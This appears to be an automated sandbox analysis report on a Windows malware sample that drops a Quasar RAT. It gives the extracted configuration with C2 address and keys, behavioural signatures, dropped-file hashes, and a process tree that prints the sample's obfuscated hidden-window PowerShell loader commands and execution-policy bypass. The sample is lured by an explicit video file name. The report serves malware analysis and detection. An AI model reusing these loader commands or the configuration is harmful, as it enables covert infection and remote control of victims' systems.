Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 08:06

General

  • Target
    2026-10-22_779bf1ac1f6035f7429dd4adad239d0c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 48.3MB
  • Sample261024-jzhsdss1dz
  • SHA256 7ccb4421563e36b61383e6a80432b5a593a25ef1cce555353690d2f4d8a136cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.3.0.0

Botnet
  • AALLOO

C2
  • 31.220.89.57:19999

Mutex
  • QSR_MUTEX_1QTenWtvVkvWFWpfMS

Attributes
  • encryption_key

    txCoe4cTCVTtNiXvH2PD

  • install_name

    Client.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    zdef

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Detects executables containing common artifacts observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 2 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-22_779bf1ac1f6035f7429dd4adad239d0c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-22_779bf1ac1f6035f7429dd4adad239d0c_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\alo.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3896
      • C:\Windows\system32\powercfg.exe
        powercfg /getactivescheme
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -w 1 -noni -c "& ([scriptblock]::Create($env:_728241e+$env:_cBD18e87+$env:_0eDEB0C8))"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\RarSFX0\alo.bat" 10051b22a7
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:780
          • C:\Windows\system32\powercfg.exe
            powercfg /getactivescheme
            5⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -w 1 -noni -c "& ([scriptblock]::Create($env:_728241e+$env:_cBD18e87+$env:_0eDEB0C8))"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5580
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\SysWOW64\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\khulkfal.y50\3hiuojeywyc.bat" QdTzKDHAs8
              6⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5140
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force;$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3452
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force; & 'C:\Users\Public\8304q4699.ps1'"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4120
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:3236
              • C:\Windows\SysWOW64\PING.EXE
                ping -n 8 127.0.0.1
                7⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4628
  • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
    1⤵
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:6096
    • C:\Windows\SysWOW64\unregmp2.exe
      "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\system32\unregmp2.exe
        "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
    1⤵
    • Drops file in Windows directory
    PID:4268
  • C:\Windows\system32\cmd.exe
    cmd.exe
    1⤵
      PID:3060

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          CurrentDatabase_400.wmdb

          • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
          • Size 704KB
          • SHA256 7989500481859cb8c064cc42ba23c3d698e8243998d6aeb551637960fa618a26
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CurrentDatabase_400.wmdb

          • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
          • Size 1024KB
          • SHA256 d9861fc99ba389fcdda40828bf7a516a0931f99cd62dfc2d55525114463dc8d9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          WMSDKNS.XML.bak

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
          • Size 9KB
          • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 17KB
          • SHA256 993f98a03039effb4e9ac10abbdf934258c914fc7d85616765fcb5d1e29dcb17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 3d59d16a0ac2b26f9b3e8e8c84781479f6c34c15e13b2928d18ce552de320b45
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
          • MD5 SHA1 SHA512 TLSH

          Sexy Bombshell Gets Turned On By Hot Anal Sex.mp4

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Sexy Bombshell Gets Turned On By Hot Anal Sex.mp4
          • Size 48.1MB
          • SHA256 9e2f0b6359e9cb6ac589b58bf7b82e6c779d1e9fed8d3d9bc37525bc78053273
          • MD5 SHA1 SHA512 SSDEEP TLSH

          alo.bat

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\alo.bat
          • Size 949KB
          • SHA256 bd9eb799eabc532d7ecfe44912e054cf3181fc59fffa0b379c2f32aba886d247
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_otxyqeal.ofs.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_otxyqeal.ofs.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          3hiuojeywyc.bat

          • Path C:\Users\Admin\AppData\Local\Temp\khulkfal.y50\3hiuojeywyc.bat
          • Size 559KB
          • SHA256 896e57fbed92e29fd634420c42de960cb7ca8e80ba1e2bd96155d0e3edd141d9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          wmsetup.log

          • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
          • Size 1KB
          • SHA256 5f76e6bf92134a62b61ae3344650be01b878ebd3e41c84865525f97cd44f0779
          • MD5 SHA1 SHA512 TLSH

          8304q4699.ps1

          • Path C:\Users\Public\8304q4699.ps1
          • Size 557KB
          • SHA256 32e20d98c72ac0f3c0943df02fc9567926f9a3da8dba8450952e85e4ab700070
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2972-63-0x0000018A71E30000-0x0000018A71E52000-memory.dmp

          memory/3236-143-0x0000000000730000-0x000000000078E000-memory.dmp

          memory/3236-144-0x0000000004ED0000-0x0000000004F62000-memory.dmp

          memory/3236-147-0x0000000005530000-0x0000000005542000-memory.dmp

          memory/3236-148-0x0000000006130000-0x000000000616C000-memory.dmp

          memory/3236-150-0x00000000064A0000-0x00000000064AA000-memory.dmp

          memory/3452-76-0x0000000002DD0000-0x0000000002E06000-memory.dmp

          memory/3452-78-0x00000000053F0000-0x0000000005412000-memory.dmp

          memory/3452-79-0x0000000005C40000-0x0000000005CA6000-memory.dmp

          memory/3452-80-0x0000000005CB0000-0x0000000005D16000-memory.dmp

          memory/3452-87-0x0000000005D20000-0x000000000607B000-memory.dmp

          memory/3452-88-0x00000000061F0000-0x000000000620E000-memory.dmp

          memory/3452-89-0x0000000006220000-0x000000000626C000-memory.dmp

          memory/3452-77-0x00000000055F0000-0x0000000005C3A000-memory.dmp

          memory/3452-91-0x00000000073C0000-0x00000000073F6000-memory.dmp

          memory/3452-92-0x000000006A780000-0x000000006A7CC000-memory.dmp

          memory/3452-99-0x0000000007400000-0x0000000007420000-memory.dmp

          memory/3452-100-0x0000000007420000-0x00000000074C3000-memory.dmp

          memory/3452-101-0x0000000007B90000-0x000000000820C000-memory.dmp

          memory/3452-102-0x0000000007540000-0x000000000755A000-memory.dmp

          memory/3452-103-0x00000000075D0000-0x00000000075DA000-memory.dmp

          memory/3452-104-0x00000000077D0000-0x0000000007866000-memory.dmp

          memory/3452-105-0x0000000007740000-0x0000000007751000-memory.dmp

          memory/4120-119-0x000000006A780000-0x000000006A7CC000-memory.dmp

          memory/4120-138-0x0000000007D70000-0x0000000007D8C000-memory.dmp

          memory/4120-142-0x0000000005470000-0x0000000005478000-memory.dmp

          memory/4120-140-0x0000000007E00000-0x0000000007E1A000-memory.dmp

          memory/4120-127-0x00000000063E0000-0x0000000006402000-memory.dmp

          memory/4120-128-0x000000000AB90000-0x000000000B14A000-memory.dmp

          memory/4120-129-0x000000006A990000-0x000000006ACEB000-memory.dmp

          memory/4120-136-0x0000000007D10000-0x0000000007D20000-memory.dmp

          memory/4120-137-0x0000000007D20000-0x0000000007D35000-memory.dmp

          memory/4120-111-0x0000000006080000-0x00000000063DB000-memory.dmp

          memory/4120-139-0x0000000007DB0000-0x0000000007DB8000-memory.dmp

          memory/6096-57-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-56-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-54-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-55-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-46-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-44-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-45-0x0000000007410000-0x0000000007420000-memory.dmp

          memory/6096-43-0x0000000007410000-0x0000000007420000-memory.dmp